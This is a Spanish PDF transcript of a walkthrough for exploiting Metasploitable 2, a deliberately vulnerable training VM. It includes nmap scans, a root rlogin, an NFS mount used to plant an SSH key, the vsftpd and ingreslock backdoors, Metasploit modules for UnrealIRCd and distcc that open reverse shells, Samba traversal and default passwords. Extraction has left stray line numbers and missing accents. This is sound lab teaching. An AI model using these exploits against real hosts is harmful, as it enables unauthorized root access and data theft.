181054215-Guia-de-Explotabilidad-de-Metasploitable-2.pdf

8
 Guía de Explotabilidad de Metasploitable 2 Metasploitable 2 La máquina virtual Metasploitable es una versión de Ubuntu Linux intencionalmente vulnerable diseñada para probar herramientas de seguridad y demostrar vulnerabilidades comunes. La versión 2 de esta máquina virtual se encuentra disponible para la descargadesde Sourceforge.net y contiene aún muchas más vulnerabilidades que la imágen original. Esta máquina virtual es compatible con VMWare, VirtualBox, y otras plataformas de virtualización comunes. De manera predeterminada, las interfaces de red de Metasploitable se encuentran atadas a los adaptadores de red NAT y Host-only, y la imagen no debe exponerse a una red hostíl. Este artículo describe muchas de las fallas de seguridad en la imagen de Metasploitable 2. En la actualidad hace falta documentación sobre el servidor web y las fallas de aplicaciones web, así como las vulnerabilidades que permiten a un usuario local escalar a privilegios de root. Este documento se seguirá ampliando con el tiempo a medida que muchos de los defectos menos evidentes en esta plataforma se vayan encontrando. Primeros Pasos Después de arrancar la máquina virtual, inicie sesión en la consola con el usuario msfadminy contraseña msfadmin. Desde la shell, ejecute el comando ifconfig para identificar la dirección IP. ? 1 2 3 4 5 6 msfadmin@metasploitable:~$ ifconfig eth0 Link encap:Ethernet HWaddr 00:0c:29:9a:52:c1 inet addr:192.168.99.131 Bcast:192.168.99.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 Servicios Desde nuestro sistema de ataque (Linux, preferiblemente algo como Backtrack), identificaremos los servicios de red abiertos en esta máquina virtual utilizando el Scanner de Seguridad Nmap. La siguiente línea de comando analizará todos los puertos TCP en la instancia de Metasploitable 2: ? 1 2 3 4 5 6 7 root@ubuntu:~# nmap -p0-65535 192.168.99.131 Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14 PDT Nmap scan report for 192.168.99.131 Host is up (0.00028s latency). Not shown: 65506 closed ports PORT STATE SERVICE 21/tcp open ftp 

Transcript of 181054215-Guia-de-Explotabilidad-de-Metasploitable-2.pdf

  • Gua de Explotabilidad de Metasploitable 2 Metasploitable 2

    La mquina virtual Metasploitable es una versin de Ubuntu Linux intencionalmente vulnerable

    diseada para probar herramientas de seguridad y demostrar vulnerabilidades comunes. La

    versin 2 de esta mquina virtual se encuentra disponible para la descargadesde Sourceforge.net y

    contiene an muchas ms vulnerabilidades que la imgen original. Esta mquina virtual es

    compatible con VMWare, VirtualBox, y otras plataformas de virtualizacin comunes. De manera

    predeterminada, las interfaces de red de Metasploitable se encuentran atadas a los adaptadores

    de red NAT y Host-only, y la imagen no debe exponerse a una red hostl. Este artculo describe

    muchas de las fallas de seguridad en la imagen de Metasploitable 2. En la actualidad hace falta

    documentacin sobre el servidor web y las fallas de aplicaciones web, as como las

    vulnerabilidades que permiten a un usuario local escalar a privilegios de root.

    Este documento se seguir ampliando con el tiempo a medida que muchos de los defectos menos

    evidentes en esta plataforma se vayan encontrando.

    Primeros Pasos

    Despus de arrancar la mquina virtual, inicie sesin en la consola con el usuario msfadminy

    contrasea msfadmin. Desde la shell, ejecute el comando ifconfig para identificar la direccin IP.

    ?

    1

    2

    3

    4

    5

    6

    msfadmin@metasploitable:~$ ifconfig

    eth0 Link encap:Ethernet HWaddr 00:0c:29:9a:52:c1 inet

    addr:192.168.99.131 Bcast:192.168.99.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

    Servicios

    Desde nuestro sistema de ataque (Linux, preferiblemente algo como Backtrack), identificaremos los

    servicios de red abiertos en esta mquina virtual utilizando el Scanner de Seguridad Nmap. La

    siguiente lnea de comando analizar todos los puertos TCP en la instancia de Metasploitable 2:

    ?

    1

    2

    3

    4

    5

    6

    7

    root@ubuntu:~# nmap -p0-65535 192.168.99.131 Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31

    21:14 PDT Nmap scan report for 192.168.99.131 Host is up (0.00028s latency). Not shown: 65506 closed ports PORT STATE SERVICE

    21/tcp open ftp

  • 8

    9

    10

    11

    12

    13

    14

    15

    16

    17

    18

    19

    20

    21

    22

    23

    24

    25

    26

    27

    28

    29

    30

    31

    32

    33

    34

    35

    36

    37

    22/tcp open ssh

    23/tcp open telnet

    25/tcp open smtp

    53/tcp open domain

    80/tcp open http

    111/tcp open rpcbind

    139/tcp open netbios-ssn

    445/tcp open microsoft-ds

    512/tcp open exec

    513/tcp open login

    514/tcp open shell

    1099/tcp open rmiregistry

    1524/tcp open ingreslock

    2049/tcp open nfs

    2121/tcp open ccproxy-ftp

    3306/tcp open mysql

    3632/tcp open distccd

    5432/tcp open postgresql

    5900/tcp open vnc

    6000/tcp open X11

    6667/tcp open irc

    6697/tcp open unknown

    8009/tcp open ajp13

    8180/tcp open unknown

    8787/tcp open unknown

    39292/tcp open unknown

    43729/tcp open unknown

    44813/tcp open unknown

    55852/tcp open unknown MAC Address: 00:0C:29:9A:52:C1 (VMware)

    Casi todos estos servicios en escucha proporcionan un punto de entrada remoto en el sistema. En

    la siguiente seccin, caminaremos a travs de algunos de estos vectores.

    Servicios: Bses de Unix

    Los puertos TCP 512, 513, y 514 son conocidos como los servicios "r", y han sido configurados

    errneamente para permitir acceso remoto desde cualquier mquina (una situacin tpica ".rhosts +

    +"). Para tomar ventaja de esto, nos aseguraremos de que el cliente rsh-client se encuentre

    instalado (en Ubuntu), y ejecutamos el siguiente comando como usuario root local. Si se nos

    solicita una llave SSH, esto significa que las herramientas rsh-client no han sido instaladas y

    Ubuntu est predeterminando a utilizar SSH.

    ?

  • 1

    2

    3

    4

    # rlogin -l root 192.168.99.131 Last login: Fri Jun 1 00:10:39 EDT 2012 from :0.0 on pts/0 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC

    2008 i686 root@metasploitable:~#

    Esto se pone tan bueno como se v. El prximo servicio que debe tener en cuenta es el sistema de

    archivos de red (NFS). NFS puede ser identificado sondeando el puerto 2049 directamente o

    pidiendo a portmapper obtener una lista de servicios. El siguiente ejemplo usando rpcinfo para

    identificar NFS y showmount -e para determinar que el recurso compartido "/" (la raz del sistema

    de archivos) estar siendo exportado. Necesitaremos los paquetes de Ubuntu rpcbind y nfs-

    common para seguir adelante.

    ?

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    16

    17

    18

    19

    20

    21

    22

    23

    24

    25

    26

    27

    28

    root@ubuntu:~# rpcinfo -p 192.168.99.131 program vers proto port service 100000 2 tcp 111 portmapper 100000 2 udp 111 portmapper 100024 1 udp 53318 status 100024 1 tcp 43729 status 100003 2 udp 2049 nfs 100003 3 udp 2049 nfs 100003 4 udp 2049 nfs 100021 1 udp 46696 nlockmgr 100021 3 udp 46696 nlockmgr 100021 4 udp 46696 nlockmgr 100003 2 tcp 2049 nfs 100003 3 tcp 2049 nfs 100003 4 tcp 2049 nfs 100021 1 tcp 55852 nlockmgr 100021 3 tcp 55852 nlockmgr 100021 4 tcp 55852 nlockmgr 100005 1 udp 34887 mountd 100005 1 tcp 39292 mountd 100005 2 udp 34887 mountd 100005 2 tcp 39292 mountd 100005 3 udp 34887 mountd 100005 3 tcp 39292 mountd root@ubuntu:~# showmount -e 192.168.99.131 Export list for 192.168.99.131: / *

    Obtener acceso a un sistema con un sistema de archivos modificable como este es algo trivial.

    Para que sea as (y porque SSH est ejecutndose), generaremos una nueva llave SSH en

  • nuestro sistema atacante, montamos el export NFS y agregamos nuestra llave al

    archivo authorized_keys de la cuenta de usuario root:

    ?

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    16

    17

    18

    root@ubuntu:~# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub. root@ubuntu:~# mkdir /tmp/r00t root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/ root@ubuntu:~# cat ~/.ssh/id_rsa.pub >>

    /tmp/r00t/root/.ssh/authorized_keys root@ubuntu:~# umount /tmp/r00t root@ubuntu:~# ssh [email protected] Last login: Fri Jun 1 00:29:33 2012 from 192.168.99.128 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC

    2008 i686

    root@metasploitable:~#

    Servicios: Backdoors

    En el puerto 21, Metasploitable 2 ejecuta vsftpd, un servidor FTP popular. Esta versin en

    particular contiene una puerta trasera (backdoor) que fue introducida en el cdigo fuente por un

    intruso desconocido. El backdoor fue rpidamente identificado y eliminado, pero no antes de que

    unas cuantas personas ya lo hubieran descargado. Si un nombre de usuario es enviado

    terminando con la secuencia " :) " (carita felz), la versin con el backdoor abrir una shell en

    escucha en el puerto 6200. Podemos demostrar esto con telnet o utilizando un mdulo

    de Metasploit Framework para explotarlo automticamente:

    ?

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    root@ubuntu:~# telnet 192.168.99.131 21 Trying 192.168.99.131... Connected to 192.168.99.131. Escape character is '^]'. 220 (vsFTPd 2.3.4) user backdoored:) 331 Please specify the password. pass invalid ^] telnet> quit Connection closed.

    root@ubuntu:~# telnet 192.168.99.131 6200

  • 12

    13

    14

    15

    16

    17

    18

    Trying 192.168.99.131... Connected to 192.168.99.131. Escape character is '^]'. id; uid=0(root) gid=0(root)

    En el puerto 6667, Metasploitable 2 corre el demonio IRC UnreaIRCD. Esta versin contiene un

    backdoor que pas desapercibido por meses, - disparado al enviar las letras "AB" seguidas de un

    comando del sistema al servidor en cualquier puerto en escucha. Metasploit tiene un mdulo para

    explotar esto con el fin de obtener una shell interactiva, como se muestra a continuacin.

    ?

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    16

    17

    18

    19

    20

    21

    22

    23

    msfconsole msf > use exploit/unix/irc/unreal_ircd_3281_backdoor msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131 msf exploit(unreal_ircd_3281_backdoor) > exploit [*] Started reverse double handler [*] Connected to 192.168.99.131:6667... :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname... :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address

    instead [*] Sending backdoor command... [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo 8bMUYsfmGvOLHBxe; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "8bMUYsfmGvOLHBxe\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at 2012-05-31

    21:53:59 -0700

    id uid=0(root) gid=0(root)

    Mucho menos sutl es el viejo backdoor remanente "ingreslock" que escucha en el puerto 1524. El

    puerto ingreslock era una opcin popular hace una dcada para agregar una puerta trasera a un

    servidor comprometido. Accederlo es fcil:

    ?

    1

    2

    root@ubuntu:~# telnet 192.168.99.131 1524 Trying 192.168.99.131... Connected to 192.168.99.131.

  • 3

    4

    5

    6

    Escape character is '^]'. root@metasploitable:/# id uid=0(root) gid=0(root) groups=0(root)

    Servicios: Backdoors No-Intencionales

    Adems de las puertas traseras maliciosas de la seccin anterior, algunos servicios son casi

    puertas traseras por su propia naturaleza. El primero de estos que est instalado en Metasploitable

    2 es distccd. Este programa hace que sea fcil escalar grandes tareas de compilacin a travs de

    una granja de sistemas que aparentan estar configurados para tal fin. El problema con este servicio

    es que un atacante puede abusar de este para ejecutar un comando a su eleccin, como lo

    demuestra el uso del mdulo de Metasploit a continuacin.

    ?

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    16

    17

    18

    19

    20

    msfconsole msf > use exploit/unix/misc/distcc_exec msf exploit(distcc_exec) > set RHOST 192.168.99.131 msf exploit(distcc_exec) > exploit [*] Started reverse double handler [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo uk3UdiwLUq0LX3Bi; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "uk3UdiwLUq0LX3Bi\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at 2012-05-31

    22:06:03 -0700 id uid=1(daemon) gid=1(daemon) groups=1(daemon)

    Samba, cuando se configura con un recurso de archivos compartidos y enlaces extensos (wide

    links) habilitados (los cuales vienen activados por defecto), puede utilizarse tambien como un tipo

    de puerta trasera para acceder archivos que no estaban destinados a ser compartidos. El siguiente

    ejemplo utiliza un mdulo de Metasploit para proporcionar acceso al sistema de archivos raz

    utilizando una conexin annima y un recurso compartido con acceso de escritura.

    ?

    1 root@ubuntu:~# smbclient -L //192.168.99.131 Anonymous login successful

  • 2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    16

    17

    18

    19

    20

    21

    22

    23

    24

    25

    26

    27

    28

    29

    30

    31

    32

    33

    34

    35

    36

    Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian] Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers tmp Disk oh noes! opt Disk IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)) ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))

    root@ubuntu:~# msfconsole msf > use auxiliary/admin/smb/samba_symlink_traversal msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131 msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp msf auxiliary(samba_symlink_traversal) > exploit

    [*] Connecting to the server... [*] Trying to mount writeable share 'tmp'... [*] Trying to link 'rootfs' to the root filesystem... [*] Now access the following share to browse the root filesystem: [*] \\192.168.99.131\tmp\rootfs\

    msf auxiliary(samba_symlink_traversal) > exit root@ubuntu:~# smbclient //192.168.99.131/tmp Anonymous login successful Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian] smb: \> cd rootfs smb: \rootfs\> cd etc smb: \rootfs\etc\> more passwd getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec) root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh [..]

    Contraseas Dbiles

    Adicionalmente a las ms flagrantes puertas traseras y errores de configuracin, Metasploitable 2

    tiene terrible seguridad de contrasea tanto para la cuenta del sistema como para la cuenta del

    servidor de base de datos. El usuario principal de administracinmsfadmin tiene una contrasea

    que coincide con el nombre de usuario. Al descubrir la lista de los usuarios en este sistema, ya sea

    mediante el uso de otro defecto para capturar el archivo passwd, o mediante la enumeracin de

    estos identificadores de usuario a travs de Samba, un ataque de fuerza bruta puede ser utilizado

    para acceder rpidamente a varias cuentas de usuario. Como mnimo, las siguientes cuentas

    dbiles del sistema estn configuradas en el sistema.

  • Nombre Cuenta Contrasea

    msfadmin msfadmin

    user user

    postgres postgres

    sys batman

    klog 123456789

    service service

    Adicional a estas cuentas a nivel de sistema, el servicio de PostgreSQL puede ser accedido con el

    nombre de usuario postgres y contrasea postgres, mientras que el servicio de MySQL est

    abierto con el nombre de usuario root y con una contrasea en blanco. El servicio

    de VNC proporciona el acceso de escritorio remoto a travs de la contrasea password.